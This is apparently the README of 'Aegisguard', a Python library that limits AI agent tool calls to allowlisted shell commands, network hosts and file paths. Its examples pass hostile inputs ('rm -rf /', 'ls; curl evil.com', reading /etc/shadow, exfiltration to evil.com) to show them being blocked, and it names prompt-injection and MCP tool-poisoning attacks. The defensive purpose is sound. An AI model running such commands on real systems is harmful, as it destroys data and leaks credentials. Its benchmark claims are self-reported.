aegisguard

Aegisguard

Deterministic security runtime for AI agents. One decorator. Any framework. Full enforcement.

pip install aegisguard

from aegis import guard

@guard(network=["api.openai.com"])
def call_llm(url: str) -> str:
    return requests.get(url).text    # only api.openai.com allowed — everything else blocked

@guard(shell=["ls", "cat"])
def run_cmd(cmd: str) -> str:
    return subprocess.check_output(cmd).decode()  # rm, curl, semicolons — all blocked

@guard(file_read="/data")
def read_doc(path: str) -> str:
    return open(path).read()         # /etc/passwd, ../../ traversal — blocked

That's the entire API. Three lines of security for each tool. Works with OpenAI, LangChain, CrewAI, RAG pipelines, voice agents, MCP servers — anything callable.

---

What is Aegisguard?

Aegisguard is a deterministic enforcement runtime that sits inline on every AI agent tool call. It doesn't guess intent with prompts or classifiers — it enforces hard capability boundaries on what tools can actually do.

When a model is tricked into calling rm -rf /, Aegisguard blocks it — not because a classifier flagged it, but because the shell capability only allows ["ls", "cat"]. When a prompt injection tries to exfiltrate data to evil.com, it's blocked because the network capability only permits ["api.openai.com"]. No probability. No bypass. Deterministic.

What it is not: a prompt filter, a guardrail that wraps the LLM, or a classifier. Those are probabilistic and can be talked past. Aegisguard is the non-bypassable backstop underneath.

---

30-Second Quickstart

Zero-config (module-level)

from aegis import guard

@guard(network=True)
def search(query: str) -> str:
    return requests.get(f"https://api.example.com?q={query}").text

search("AI safety")  # works

Configured (with policy pack + audit)

from aegis import Aegis

ag = Aegis(
    pack="owasp-baseline",        # OWASP ASI-2026 security profile
    audit="audit.jsonl",          # tamper-evident hash-chained log
    agent_id="research-bot",
)

@ag.guard(network=["api.openai.com"], source="web")
def call_llm(url: str) -> str: ...

@ag.guard(shell=["ls", "cat", "grep"])
def run_cmd(cmd: str) -> str: ...

@ag.guard(file_read="/data/reports")
def read_report(path: str) -> str: ...

@ag.guard(custom="send_email", risk="high")   # requires human approval
def send_email(to: str, body: str) -> str: ...

With OpenAI Agents

from openai import OpenAI
from aegis import Aegis

client = OpenAI()
ag = Aegis(pack="owasp-baseline")

@ag.guard(network=["api.openai.com"])
def search(url: str) -> str:
    return requests.get(url).text

# Use search() as a tool in your OpenAI function-calling agent.
# Aegisguard enforces capabilities on every call the LLM makes.
result = search("https://api.openai.com/v1/models")  # allowed
result = search("https://evil.com/steal")             # BLOCKED

---

What Gets Enforced

Every @guard() call passes through a defense-in-depth pipeline before the function body executes:

@guard(shell=["ls", "cat"])
def run(cmd): ...

run("ls -la")           → allowed
run("rm -rf /")          → BLOCKED: 'rm' not in allowlist
run("ls; curl evil.com") → BLOCKED: shell metacharacters
run("ls `cat /etc/shadow`") → BLOCKED: shell metacharacters

Beyond argument enforcement

Aegisguard's engine runs a full pipeline on every call:

Circuit breaker → Budget gate → Task scope → Capability check →
Advisory detectors → Policy DSL (deny-overrides) → Argument enforcement →
Dispatch → Provenance propagation → Hash-chained audit

---

Key Features

Capability-Based Security

Capabilities are grants that can only narrow, never expand. An agent holding network_http(domains=["a.com"]) cannot reach b.com. A delegated sub-agent can only have fewer permissions than its parent.

Policy DSL

Programmable rules beyond capabilities — restrict by argument value, rate-limit, require approval above a threshold:

# In a policy pack: deny transfers above $1000 without approval
Rule: Arg("amount") > 1000 → REQUIRE_APPROVAL

Data Provenance

A trust/confidentiality label lattice propagated across tool I/O. Data pulled from an untrusted web source stays tainted even if laundered through multiple tool calls. Deterministic indirect-prompt-injection defense.

MCP Security

Pins tool definitions by fingerprint. Detects rug pulls (changed definitions), shadowing (cross-server collisions), and tool poisoning (instruction-override, exfiltration, zero-width smuggling in descriptions). Poisoned tools are stripped from tools/list before the model sees them.

Tamper-Evident Audit

Every decision is hash-chained (prev_hash + event → hash). Any retroactive edit breaks the chain. The forensic flow reconstructor rebuilds data-flow graphs from the audit log for incident response.

Sandboxed Execution

Configurable backends: hardened subprocess (POSIX rlimits, no-shell, env scrub), ephemeral Docker (--network none, read-only, caps dropped), or deny-all.

Rogue Agent Detection

Deterministic sliding-window anomaly detection over the audit stream — call-rate spikes, denial-rate probing, blast-radius expansion, novel-tool usage — trips a per-agent circuit breaker that fail-closes the agent.

6 Built-in Policy Packs

---

Benchmark

One general policy profile, 15 attacks across 7 domains (banking, email, web, files, shell, messaging, destructive ops), including laundering attacks blocked only by propagated provenance:

Metric                  No Guard    Aegisguard
────────────────────────────────────────────────
Attack success rate      100.0%        0.0%
Benign utility           100.0%      100.0%
Overhead per call          —         ~0.04 ms

AgentDojo (97 user + 35 injection tasks, deterministic ground-truth replay):

Suite         User  Inj   Utility    ASR
──────────────────────────────────────────
banking         16    9   100.0%    0.0%
slack           21    5   100.0%    0.0%
travel          20    7   100.0%    0.0%
workspace       40   14   100.0%    0.0%
TOTAL           97   35   100.0%    0.0%

Aegisguard measures deterministic enforcement — does it block the malicious call when attempted — not LLM susceptibility. It composes underneath probabilistic defenses (LlamaFirewall, PromptGuard, CaMeL) as the non-bypassable layer.

---

OWASP ASI-2026 Coverage

All 10 risks covered with deterministic shipped mechanisms:

---

Local Testing

git clone https://github.com/harsha-mangena/aegis.git
cd aegis
python3 -m venv .venv && source .venv/bin/activate
pip install -e .

# Validate enforcement engine (no API key needed) — 40 tests
python examples/demo_local_no_api.py

# With OpenAI (requires OPENAI_API_KEY)
pip install openai
python examples/demo_with_aegis.py       # protected agent
python examples/demo_comparison.py       # side-by-side: unprotected vs protected

# Full test suite
pip install -e ".[dev,yaml]"
pytest -q                                # 298 tests

---

Architecture

aegis/                     # PUBLIC API — what you import
  __init__.py              #   from aegis import guard, Aegis, configure
  core.py                  #   Aegis class, @guard decorator, module-level API

capguard/                  # INTERNAL ENGINE (27 modules, 6800+ LOC)
  core.py                  #   capabilities, attenuation, argument enforcement
  runtime.py               #   defense-in-depth pipeline (stateless, concurrency-safe)
  policy_dsl.py            #   programmable rules (deny-overrides)
  provenance.py            #   trust×confidentiality label lattice
  identity.py              #   signed identity + delegation attenuation
  a2a.py                   #   signed inter-agent messages
  mcp_guard.py             #   MCP pinning, rug-pull, shadowing, poisoning scan
  mcp_proxy.py             #   JSON-RPC MCP proxy (stdio + HTTP)
  mcp_auth.py              #   OAuth 2.1 resource-server auth
  monitor.py               #   anomaly detection + circuit breaker
  budget.py                #   call/token/$ budgets
  memory.py                #   provenance-preserving memory/RAG
  audit.py                 #   hash-chained tamper-evident audit
  audit_graph.py           #   forensic data-flow reconstruction
  sandbox.py               #   execution backends (subprocess/docker/deny)
  packs.py                 #   policy-pack compiler + 6 builtin packs
  ...                      #   + approval, adapters, detectors, taskscope, etc.

---

How It Compares

---

Contributing

See CONTRIBUTING.md. Security bugs: see SECURITY.md — please report privately.

License

Apache 2.0. See LICENSE.